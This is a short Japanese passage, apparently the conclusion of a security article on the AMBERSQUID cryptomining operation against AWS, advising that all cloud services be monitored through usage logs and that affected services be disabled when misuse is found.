AWSのようなクラウドサービスプロバイダ(CSP)は、お客様に様々なサービスを提供しています。金銭的な動機のある攻撃者の多くはEC2のようなコンピュートサービスをターゲットにしていますが、他の多くのサービスも(より間接的ではありますが)コンピュートリソースへのアクセスを提供していることを覚えておくことが重要です。これらのサービスは、実行時の脅威検出によって得られる可視性に比べて少ないため、セキュリティの観点から見過ごされがちです。

CSP が提供するサービスはすべて、悪意のある利用がないか監視する必要があります。実行時の脅威検出が不可能な場合は、AMBERSQUID のような脅威を検出するために、サービスの使用状況に関するより高いレベルのログを監視する必要があります。悪意のあるアクティビティが検出された場合、関係するサービスを無効にし、被害を抑えるための対応措置を迅速に講じる必要があります。このオペレーションはAWS上で発生しましたが、他のCSPが次のターゲットになる可能性もあります。